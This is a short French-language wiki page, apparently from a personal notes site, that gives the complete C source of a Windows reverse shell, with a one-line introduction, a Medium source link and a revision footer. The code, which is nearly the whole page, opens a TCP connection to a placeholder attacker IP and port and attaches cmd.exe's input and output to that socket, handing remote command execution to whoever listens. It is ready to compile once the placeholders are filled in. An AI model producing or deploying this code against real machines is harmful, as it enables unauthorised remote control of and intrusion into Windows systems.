[C] Windows Reverse shell

Introduction

Le reverse shell suivant peut être compilé depuis Visual Studio grâce à la SDK et la suite de développement C++.

Source

- https://omergnscr.medium.com/simple-reverse-shell-in-c-be1c2f8a40b8

Code

```
#include <windows.h>
#include <stdio.h>
#include <winsock2.h>

WSADATA wsaData;
SOCKET winSock;
struct sockaddr_in sockAddr;

int port = <your-port>;
char *ip = "<your-ip>";

STARTUPINFO sinfo;
PROCESS_INFORMATION pinfo;

int main(int argc, char *argv[]){

    int start = WSAStartup(MAKEWORD(2,2), &wsaData);
```

```
    winSock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);

    sockAddr.sin_family = AF_INET;
    sockAddr.sin_port = htons(port);
    sockAddr.sin_addr.s_addr = inet_addr(ip);

    WSAConnect(winSock, (SOCKADDR*)&sockAddr, sizeof(sockAddr), NULL, NULL, NULL, NULL);

    memset(&sinfo, 0, sizeof(sinfo));
    sinfo.cb = sizeof(sinfo);
    sinfo.dwFlags = STARTF_USESTDHANDLES;
    sinfo.hStdError  = (HANDLE)winSock;
    sinfo.hStdInput  = (HANDLE)winSock;
    sinfo.hStdOutput = (HANDLE)winSock;

    CreateProcessA(NULL, "cmd.exe", NULL, NULL,TRUE , 0, NULL, NULL, &sinfo, &pinfo);

    return 0;
}
```

Revision #1
Created 2024-07-29 19:10:34 UTC by Elieroc
Updated 2024-07-29 19:12:03 UTC by Elieroc